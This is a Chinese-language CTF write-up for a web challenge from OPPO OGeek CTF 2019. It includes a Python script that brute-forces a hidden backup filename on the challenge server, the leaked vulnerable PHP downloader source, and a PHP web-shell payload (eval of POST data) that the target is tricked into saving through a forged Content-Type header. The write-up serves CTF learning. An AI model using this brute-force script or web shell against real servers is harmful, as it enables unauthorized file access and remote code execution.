前言
最近ctf不少,但是成绩不咋样,菜的真实。新学期开始了,最后一年了。。。继续努力吧。OPPO OGeek CTF 2019咋说呢,菜。。。总结一下学到的东西吧。
Enjoy You Self
线上环境:http://47.107.255.20:18088/(还没关。。。)
打开题目:
认真读代码发现:这里检查filename是不是八位和filename是不是由大小写字母或者数字或者下划线组成。如果是,就在backup下创建这个名字的txt文件,然后列出backup文件夹下的文件,删除列出来的第一个文件。这里有个tip如果目录下面有其他文件的话,我们的文件写入时,如果列入那个文件后面的话,我们的文件就不会删除。即我们的文件可以访问。就此那就可以推测出那个文件的文件名了。
在本地研究发现,文件名的排序方式是ascii码值从小到大依次排列。所以我们尝试传入zzzzzzzz,然后迅速访问backup/zzzzzzzz.txt.发现可以访问到,就此我们可以推出backup原来的文件名。
exp:
#coding=utf-8
import requests
import string
# print string.letters
str1='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' #\w能匹配到的字符
def strcheck(str):
if len(str)<8:
length=8-len(str)
for x in xrange(0,length):
str+='z'
return str
elif len(str)==8:
return str
else:
return str[0:8]
def check(filename):
requests.get("http://47.107.255.20:18088/users/4a6f8f0074645dde99b816b08e2a15c8/",params={"filename": filename}).text
r = requests.get("http://47.107.255.20:18088/users/4a6f8f0074645dde99b816b08e2a15c8/backup/" + filename + ".txt")
print(r.status_code)
print filename
if r.status_code == 404:
filename=''
return 0
if r.status_code != 404:
return filename
str2=list(str1)
# print str2
s=''
for i in xrange(1,9):
for x in str2:
filename=strcheck(s+x)
if check(filename):
print filename
s=filename[0:i]
break
print s
访问backup/aefebab8.txt得到:
<!-- src/8a66c58a168c9dc0fb622365cbe340fc.php -->
<?php
include "../utils/utils.php";
$sandbox = Get_Sandbox();
if(isset($_REQUEST['method'])){
$method = $_REQUEST['method'];
if($method == 'info'){
phpinfo();
}elseif($method == 'download' and isset($_REQUEST['url'])){
$url = $_REQUEST['url'];
$url_parse = parse_url($url);
if(!isset($url_parse['scheme']) or $url_parse['scheme'] != 'http' or !isset($url_parse['host']) or $url_parse['host'] == ""){
die("something wrong");
}
$path_info = pathinfo($url);
if(strpos($path_info['filename'], ".") !== false){
die("something wrong");
}
if(!Check_Ext($path_info['extension'])){
die("something wrong");
}
$response = GetFileInfoFromHeader($url);
$save_dir = "../users/${sandbox}/uploads/{$response['type']}/";
if(is_dir(dirname($save_dir)) and !is_dir($save_dir)){
mkdir($save_dir, 0755);
}
$save_path = "{$save_dir}{$path_info['filename']}.{$response['ext']}";
echo "/uploads/{$response['type']}/{$path_info['filename']}.{$response['ext']}";
if(!is_dir($save_path)){
file_put_contents($save_path, $response['content']);
}
}
}
阅读代码,发现是一个下载器,把访问到的页面写入
/users/${sandbox}/uploads/{$`response['type']}/
下。
猜测该函数通过header。来获取文件类型,尝试用content-type
绕过,并且配置本地的httpd.conf
,将本地png解析为php,重写php,最后让题目去download本地的png图片
创建alex.png
<?php
header('Content-Type: alex/txt');
echo '<?php eval($_POST[alex]);';
尝试在题目上下载shell。
我先试试php发现被替换成jpg,所以改用txt
上传成功
访问查看
发现写入成功。。。
之后就是用 .user.ini 来追加代码,然而我怎么复现都不行,试了.htaccess
和.user.ini
,然而都不行。。。感觉题被改了。
所以这里只能盗图了。
上传成功
之后就是getflag了。。。师傅们说这里动作要快,要不然会被清理。要用脚本来搞。。。(咱也没见过,咱也不知道啊。)
总结
这个题考查了,文件的模糊测试的思路,可以根据文件排序来确定文件名,和.htaccess
和.user.ini
的设置。。。